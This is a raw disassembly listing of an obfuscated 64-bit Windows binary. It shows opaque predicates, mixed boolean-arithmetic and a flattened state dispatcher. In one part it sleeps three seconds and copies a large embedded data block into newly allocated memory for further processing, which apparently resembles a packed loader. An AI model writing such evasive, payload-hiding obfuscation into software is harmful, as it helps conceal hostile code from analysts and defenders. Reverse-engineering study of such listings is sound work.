and ecx, 0xc000088
or ecx, ebx
xor ecx, 0xc000088
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xcc3d27a4
and edx, 0x33c2d85b
or edx, ecx
mov ecx, edx
xor ecx, 0x6c00cdd3
mov ebx, edx
xor ebx, 0x6c00cdd2
and ebx, ecx
xor edx, 0x92e7120c
and edx, 0xdee712df
and ecx, 0x2118ed20
or ecx, edx
xor ecx, 0x2118ed21
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x41e48185
and ecx, 0xbe1b7e7a
or ecx, edx
mov edx, ecx
xor edx, 0xa4000848
xor ecx, 0x41a40101
and ecx, 0x5bbf7733
and edx, 0xa44088cc
or edx, ecx
xor edx, 0xa44088cc
sete r10b
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg cl
mov ebx, r9d
xor bl, cl
mov eax, ebx
and al, cl
and r10b, cl
or cl, r9b
xor cl, 1
or cl, bl
and bl, r9b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
and r8b, r9b
or r10b, r8b
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
xor al, 1
mov edx, eax
and dl, cl
xor al, cl
or dl, al
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xc2e102b4
mov ebx, 0x4e0c55d0
cmovne ecx, ebx
test dl, 1
mov edx, 0xc2e102b4
jmp 0x1401a209b
cmp eax, 0xcf06e47a
je 0x1401a093a
cmp eax, 0xcf15b4da
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0xfffffffe
and ebx, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov eax, ebx
not eax
mov edx, ecx
not edx
mov edi, eax
and edi, 0x849e7ccb
and ebx, 0x7b618334
or ebx, edi
or eax, edx
and edx, 0x849e7ccb
and ecx, 0x7b618334
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x62ea30d1
and eax, 0x9d15cf2e
or eax, ecx
mov ecx, eax
xor ecx, 0x95108722
xor eax, 0x62822040
and eax, 0x6a87684c
and ecx, 0x957897b3
or ecx, eax
mov eax, ecx
xor eax, 0x80100112
xor ecx, 0x62014048
and ecx, 0x7769d6e9
and eax, 0x88962916
or eax, ecx
xor eax, 0x7769d6e9
cmp eax, 0xffffffff
setne r9b
sete dl
cmp dword [0x1402656c4], 9
setg bl
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
xor al, 1
mov r8d, eax
and r8b, bl
mov ecx, edx
and cl, r8b
xor r8b, dl
or r8b, cl
mov edx, r9d
xor dl, bl
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, r8d
xor dl, 1
and al, cl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
and dl, al
xor al, 1
and al, r8b
or al, dl
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2b487628
mov ebx, 0xd8709751
cmovne edx, ebx
test cl, 1
mov ecx, 0x2b487628
jmp 0x140195e0e
cmp eax, 0xb055f7fc
je 0x1401a0a9b
cmp eax, 0xb06e3798
jne 0x14016c950
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x8a9ca0ff
and ecx, 0x75635f00
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1e385a08
and ecx, 0xe1c7a5f7
or ecx, edx
mov edx, ecx
xor edx, 0x6b5b0508
mov ebx, ecx
xor ebx, 0xa4f807
and ebx, 0x23aef80f
xor ecx, 0x87e72840
and ecx, edx
and edx, 0xdc5107f0
or edx, ebx
mov esi, edx
xor esi, 0xdc5107f0
mov edi, edx
xor edi, 0xcf12d547
and edi, esi
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov edi, ecx
not edi
and edi, 0x1343d2b6
and ecx, 0xecbc2d49
or ecx, edi
xor edx, 0x3aca00f
and edx, 0xc7bca10f
mov ebx, esi
and ebx, 0x38435ef0
or ebx, edx
xor ebx, 0xc7bca10e
and esi, 1
or esi, ebx
mov eax, esi
not eax
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xc8a40c67
and ecx, 0x375bf398
or ecx, ebx
or edx, esi
and esi, 0xc8a40c67
and eax, 0x375bf398
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x113c9ca0
and ecx, edx
and edx, 0xeec3635f
or edx, eax
mov eax, edx
xor eax, 0xc0c16012
xor edx, 0x113c9ca0
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x3e1293cd
and eax, 0xc1ed6c32
or eax, edi
or edx, ebx
and ebx, 0x3e1293cd
and ecx, 0xc1ed6c32
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xf05a9533
and edx, 0xfa56acc
or edx, eax
mov eax, edx
xor eax, 0x721208c
xor edx, 0x90001403
and edx, 0x98845e43
and eax, 0x677ba1bc
or eax, edx
mov ecx, eax
xor ecx, 0x90045241
xor eax, 0x40201c
and eax, 0x8c02c1e
and ecx, 0xf73fd3e1
or ecx, eax
xor ecx, 0xf73fd3e1
setne r9b
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
and r9b, bl
or bl, cl
xor bl, 1
or bl, al
xor bl, 1
and dl, cl
or dl, r9b
xor dl, bl
mov eax, edx
not al
and al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xcb1ecde9
mov ebx, 0x50266623
cmovne ecx, ebx
test dl, dl
mov edx, ecx
cmovne edx, ebx
test al, al
jmp 0x14019d269
cmp eax, 0xf2d81345
je 0x1401a0c1c
cmp eax, 0xf2e0ee26
jne 0x14016c950
mov eax, 0x3920cc75
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8e1591f3
je 0x1401a0cc1
cmp eax, 0x8e58fd43
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3b67bce2
and ecx, eax
and eax, 0xc498431d
or eax, edx
mov edx, eax
xor edx, 0xc4804004
xor eax, 0x3b67bce2
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x35bbb59
and edx, 0xfca444a6
or edx, edi
or eax, ebx
and ebx, 0x35bbb59
and ecx, 0xfca444a6
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0x3aed94f3
and eax, 0xc5126b0c
or eax, ecx
xor eax, 0xc5126b0d
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
not edx
mov ebx, edx
or ebx, 0xb563a7ae
mov ecx, ebx
not ecx
or eax, 0xa044010
and eax, 0xba4540b2
and edx, 0x522a70c
or edx, eax
and ebx, 0xba4540b2
and ecx, 0x40981841
or ecx, ebx
xor ecx, edx
mov eax, ecx
not eax
and eax, 0x41cbca2f
and ecx, 0xbe3435d0
or ecx, eax
mov eax, ecx
xor eax, 0x113005c
xor ecx, 0xf4a86d81
mov edx, ecx
and edx, 0xca4c9ba3
and eax, 0x35b3645c
or eax, edx
xor eax, 0x35b3645c
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1402656c4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, 1
xor cl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9a3b2175
mov ebx, 0x46616969
cmovne edx, ebx
test cl, cl
mov ecx, 0x9a3b2175
jmp 0x140195e0e
cmp eax, 0xc7ac5206
je 0x1401a0cd4
cmp eax, 0xc8121403
jne 0x14016c950
mov eax, 0x48603333
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa93e1bf7
je 0x1401a0d36
cmp eax, 0xa94a6793
jne 0x14016c950
mov eax, 0x6f8ec947
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xe9f1652d
je 0x1401a0e93
cmp eax, 0xe9f2e871
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x947aa435
and ecx, edx
not edx
and edx, 0x947aa435
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x7b863658
and ecx, 0x8479c9a7
or ecx, edx
mov edx, ecx
xor edx, 0x10036d92
xor ecx, 0xeffc926c
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0xde8bdb6c
and ebx, edx
not edx
and edx, 0x29324623
and ecx, 0xd6cdb9dc
or ecx, edx
mov edx, ecx
xor edx, 0x96808804
xor ecx, 0x8024220
or ecx, 0x21742493
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x4009537a
and edx, 0x9e828804
or edx, esi
or ecx, edi
and edi, 0x4009537a
and ebx, 0xbff6ac85
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x21742493
and ecx, 0xde8bdb6c
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6b4e2840
and ecx, 0x94b1d7bf
or ecx, edx
mov edx, ecx
xor edx, 0x84009182
xor ecx, 0x48080040
and ecx, 0x58b9467d
and edx, 0xa746b982
or edx, ecx
mov ecx, edx
xor ecx, 0x50390660
xor edx, 0x746b000
and edx, 0xfc6f01d
and ecx, 0xf0390fe2
or ecx, edx
xor ecx, 0xf0390fe2
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and r8b, dl
xor dl, al
or dl, al
mov ebx, edx
not bl
and cl, al
or cl, r8b
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xc6fba8ba
mov ebx, 0x5fa175fb
cmovne ecx, ebx
test al, al
mov eax, ecx
mov ebx, 0xc6fba8ba
cmovne eax, ebx
test dl, dl
jmp 0x14019970b
cmp eax, 0x9aee6e66
je 0x1401a0fc7
cmp eax, 0x9b25da52
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x89e13e74
mov ecx, ebx
and ecx, 0x761ec18a
or ecx, edx
xor ecx, 0x761ec18a
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0x7e66d849
and edx, 0x819927b6
or edx, ecx
mov ecx, edx
xor ecx, 0x80190232
xor edx, 0x7e66d849
mov esi, edx
and esi, 0x25a66dc5
and ecx, 0xda59923a
or ecx, esi
or edx, ebx
and ebx, 0x25a66dc5
and edi, 0xda59923a
or edi, ebx
xor edi, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor dl, al
xor al, dl
and al, dl
xor bl, cl
mov ecx, ebx
not cl
mov edx, eax
xor dl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0xd44a0f64
mov ebx, 0xa3fd0226
cmovne ecx, ebx
test dl, dl
mov edx, 0xd44a0f64
cmovne ecx, edx
test al, al
jmp 0x1401a23ee
cmp eax, 0xd8cc44f2
je 0x1401a10ea
cmp eax, 0xd8e1e69b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6cba13f6
and edx, 0x9345ec09
or edx, ecx
mov ecx, edx
xor ecx, 0x9345ec09
mov ebx, edx
xor ebx, 0xc0811c0
and ebx, 0x9e48b5c1
xor edx, 0x12f013d5
and edx, ecx
mov esi, ecx
and esi, 0x61b74a3e
or esi, ebx
mov ecx, esi
xor ecx, 0x61b74a3e
mov edi, esi
xor edi, 0x1ffd4a1d
and edi, ecx
mov ebx, edi
and ebx, edx
xor edx, edi
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x67714bea
and edx, 0x988eb415
or edx, ebx
xor edx, 0x193b4bc8
xor esi, 0x92089041
and esi, 0xb3089861
mov ebx, ecx
and ebx, 0x4cf7679e
or ebx, esi
xor ebx, 0xb3089860
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x4e1cb57a
and ecx, 0xb1e34a85
or ecx, ebx
xor ecx, 0xb1e34a85
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x58f66abd
and edx, ecx
and ecx, 0xa7099542
or ecx, ebx
xor ecx, 0xa7099542
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x78b43417
and ecx, 0x874bcbe8
or ecx, ebx
xor ecx, 0x78b43417
xor edx, ecx
test edx, ecx
setne r9b
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ebx
not al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, r8b
xor al, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
xor dl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and cl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x91416f95
mov ebx, 0x15d6976f
cmovne edx, ebx
test cl, 1
mov ecx, 0x91416f95
cmove edx, ecx
test al, 1
jmp 0x1401a1f7f
cmp eax, 0xb7d25e50
je 0x1401a119a
cmp eax, 0xb8e35fab
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0xc1f6f5cb
and edx, 0x3e090a34
or edx, ebx
mov ebx, edx
xor ebx, 0xc1f6f5cb
xor edx, 0x1a090804
and edx, 0x9b6f89cf
mov ecx, ebx
and ecx, 0x64907630
or ecx, edx
mov edx, ecx
xor edx, 0x64907630
mov edi, ecx
xor edi, 0x983aa8e3
and edi, edx
and ebx, 0xfcaaded3
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0xfcaaded2
and ebx, 0x355212d
or ebx, edi
and edx, 1
xor ecx, 0x64907631
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8c24c1ca
and ecx, 0x73db3e35
or ecx, edx
mov edi, ecx
xor edi, 0x53c10411
mov edx, ebx
not edx
xor ecx, 0x8c24c1ca
mov esi, edx
and esi, 0xa03a7a2c
and ebx, 0x5fc585d3
or ebx, esi
or edx, ecx
and ecx, 0xa03a7a2c
and edi, 0x5fc585d3
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x1caf4170
and ecx, edx
and edx, 0xe350be8f
or edx, ebx
mov ebx, edx
xor ebx, 0xa2100687
xor edx, 0x1caf4170
mov edi, ecx
not edi
mov esi, edx
and esi, 0x4deef948
and ebx, 0xb21106b7
or ebx, esi
or edx, edi
and edi, 0x4deef948
and ecx, 0xb21106b7
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov ebx, edx
xor bl, cl
test cl, 1
mov eax, 0x3151e4d4
mov edi, 0xcc00dbef
cmovne eax, edi
test dl, 1
mov ecx, 0x3151e4d4
cmovne eax, ecx
test bl, 1
jmp 0x1401a2ccd
cmp eax, 0xfc188dbd
je 0x1401a138e
cmp eax, 0xfc1c79b9
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov eax, ebx
or eax, 1
mov ecx, eax
not ecx
mov edx, ebx
or edx, 0x5c77fc24
and eax, 0x5c77fc24
and ecx, 0xa38803da
or ecx, eax
and edx, 0x5c77fc25
xor edx, ecx
mov eax, edx
not eax
and eax, 0xb6852e78
and edx, 0x497ad187
or edx, eax
mov eax, edx
xor eax, 0x41609184
xor edx, 0xb6852e78
mov ecx, edx
and ecx, 0xae1b420b
and eax, 0x51e4bdf4
or eax, ecx
or edx, ebx
and ebx, 0xae1b420b
and edi, 0x51e4bdf4
or edi, ebx
xor edi, eax
not edx
or edx, edi
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402656c4], 0xa
setl bl
mov eax, ebx
or al, cl
xor al, 1
mov edx, ebx
xor dl, cl
or al, dl
mov r8d, eax
xor r8b, 1
and cl, dl
and dl, bl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x95a76cb3
mov ebx, 0xf429cba5
cmovne edx, ebx
test cl, 1
mov ecx, edx
mov ebx, 0x95a76cb3
cmovne ecx, ebx
test al, 1
jmp 0x14019f00b
cmp eax, 0x83e98a43
je 0x1401a13a3
cmp eax, 0x83ffad18
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x16200844
mov ebx, ecx
and ebx, 0x10028
or ebx, edx
xor ebx, 0x10028
and ecx, 0xe9def793
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf8d90e7b
and ecx, 0x726f184
or ecx, edx
mov edi, ecx
xor edi, 0x10439c0
mov eax, ecx
xor eax, 0xeef80617
or edi, 0x3c2bc23e
mov esi, edi
not esi
mov ebx, eax
or ebx, 0xc3d43dc1
mov edx, ebx
not edx
and edi, 0x596c0fd4
and esi, 0x82903001
or esi, edi
and ebx, 0x596c0fd4
and edx, 0x2403c02a
or edx, ebx
xor edx, esi
mov ebx, edx
not ebx
and ebx, 0x68a36f39
and edx, 0x975c90c6
or edx, ebx
xor edx, 0x5488ad06
and eax, 1
xor ecx, 0xeef80616
or ecx, eax
mov eax, ecx
not eax
and eax, 0x389ab109
and ecx, 0xc7654ef6
or ecx, eax
xor ecx, 0xc7654ef6
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xda972a81
and ecx, 0x2568d57e
or ecx, eax
mov eax, ecx
xor eax, 0x4081550
xor ecx, 0x82042080
and eax, 0x5c9b1f51
and ecx, 0xa364e0ae
or ecx, eax
mov eax, ecx
xor eax, 0x4c100e01
xor ecx, 0x8304c080
and ecx, 0x938fd1d0
and eax, 0x6c702e2f
or eax, ecx
xor eax, 0x6c702e2f
sete al
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov ebx, ecx
and bl, r8b
mov edx, r9d
and dl, al
or dl, bl
xor dl, 1
or dl, r8b
xor dl, 1
or cl, r9b
xor cl, 1
xor al, r9b
and al, r9b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
mov ecx, eax
xor cl, 1
and cl, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xc512dd82
mov ebx, 0x2603881
cmovne eax, ebx
test cl, 1
mov ecx, 0xc512dd82
jmp 0x14019e249
cmp eax, 0xbddac9fa
je 0x1401a14ee
cmp eax, 0xbdfa3654
jne 0x14016c950
mov eax, 0xac6d3e87
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa13c8b5c
je 0x1401a1669
cmp eax, 0xa14b9023
jne 0x14016c950
mov eax, 0x6cbdab4a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xde2fac3b
je 0x1401a17ba
cmp eax, 0xde5725cf
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x9088e64c
and edx, ebx
not ebx
and ebx, 0x90802604
and ecx, 0x8c048
or ecx, ebx
xor ecx, 0x8c048
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x726c284e
and edx, 0x8d93d7b1
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0xe2e4ce02
mov esi, edx
or esi, 1
mov edi, esi
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ecx, esi
and ecx, 0x81f3827a
and edi, 0x7e0c7d84
or edi, ecx
or esi, edx
and edx, 0x81f3827a
and ebx, 0x7e0c7d85
or ebx, edx
xor ebx, edi
not esi
or esi, ebx
mov edx, esi
mov ecx, esi
xor ecx, 0xab39f8f2
and ecx, esi
not esi
and esi, 0x89285820
and edx, 0x2211a0d2
or edx, esi
xor edx, 0x2211a0d2
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf560ade2
and ecx, 0xa9f521d
or ecx, edx
mov edx, ecx
xor edx, 0xa08420c0
xor ecx, 0x5e595510
mov ebx, ecx
and ebx, 0x5b3b9b2f
and edx, 0xa4c464d0
or edx, ebx
xor edx, 0xa4c464d0
or edx, ecx
cmp edx, 0xffffffff
setne r9b
sete al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov r8d, ebx
xor r8b, al
mov edx, r8d
xor dl, 1
and r9b, bl
or bl, al
and cl, al
or cl, r9b
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
not al
and al, dl
or dl, cl
and cl, r8b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xc57337e6
mov ebx, 0x7405b08f
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0xc57337e6
cmovne ecx, ebx
test dl, 1
jmp 0x14019f4d9
cmp eax, 0x93006b47
je 0x1401a17cf
cmp eax, 0x93084321
jne 0x14016c950
mov rax, qword [rbp - 0x60]
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x19821280
mov ecx, ebx
and ecx, 0x4048a001
or ecx, edx
xor ecx, 0x4048a001
mov edx, ebx
xor edx, 0x59cab281
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x1a14d38a
and edx, 0xe5eb2c75
or edx, ecx
mov ecx, edx
xor ecx, 0x902088e1
xor edx, 0x43de610a
mov edi, edx
and edi, 0x6ecb171e
and ecx, 0x9134e8e1
or ecx, edi
and ebx, 0x6ecb171e
and eax, 0x9134e8e1
or eax, ebx
xor eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1402656c4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xed6b835b
mov ebx, 0x6b52a59e
cmovne ecx, ebx
test al, al
mov eax, 0xed6b835b
jmp 0x1401a14d6
cmp eax, 0xcdd99106
je 0x1401a18e0
cmp eax, 0xce0743c7
jne 0x14016c950
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov eax, 0xc9e2b1a3
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xadf5c141
je 0x1401a18f5
cmp eax, 0xae2885b4
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x4b7fcc9c
and ecx, 0xb4803363
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb4803363
and ecx, 0x4b7fcc9c
or ecx, edx
mov ebx, ecx
not ebx
mov edi, ecx
xor edi, 0xb9220456
and edi, ebx
mov edx, ecx
and edx, 0x46ddfba9
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x46ddfba8
and edx, 0xb9220457
or edx, edi
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xeaa8ac7c
and ecx, 0x15575383
or ecx, ebx
xor ecx, 0x15575383
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xdca39768
and ecx, 0x235c6897
or ecx, ebx
xor ecx, 0xdca39768
xor edx, ecx
test edx, ecx
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor bl, al
and bl, al
mov ecx, ebx
xor cl, 1
and cl, dl
and bl, r8b
or bl, cl
mov ecx, eax
or cl, dl
xor al, dl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
not cl
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xf4a4cc71
mov ebx, 0x739d3fd1
cmovne eax, ebx
test dl, dl
mov edx, 0xf4a4cc71
cmove eax, edx
test cl, 1
jmp 0x14019e24f
cmp eax, 0xeff59f29
je 0x1401a1a42
cmp eax, 0xf11ae917
jne 0x14016c950
mov eax, 0xd5fc88d2
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8bfa1211
je 0x1401a1bfb
cmp eax, 0x8c41c56a
jne 0x14016c950
mov eax, 0x5fb1c4ed
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xc5c0abfc
je 0x1401a1da4
cmp eax, 0xc61496f0
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, ebx
or edx, 1
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov eax, ecx
not eax
mov esi, edx
and esi, 0x5295b4ea
and edi, 0xad6a4b14
or edi, esi
or edx, eax
and eax, 0x5295b4ea
and ecx, 0xad6a4b15
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
and r9d, 0xbf263cad
and ebx, 0x40d9c352
or ebx, r9d
mov eax, ebx
xor eax, 0xc08340
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x47397436
and edx, 0xb8c68bc9
or edx, ecx
xor ebx, 0x7203424
and ebx, 0x47397436
and eax, 0xb8c68bc9
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
setne cl
sete al
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg r8b
mov edx, eax
xor dl, r8b
and cl, bl
and r8b, al
or r8b, cl
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov ecx, ebx
not cl
and cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, cl
or cl, r8b
xor r8b, 1
xor dl, 1
or dl, bl
xor dl, r8b
xor r8b, al
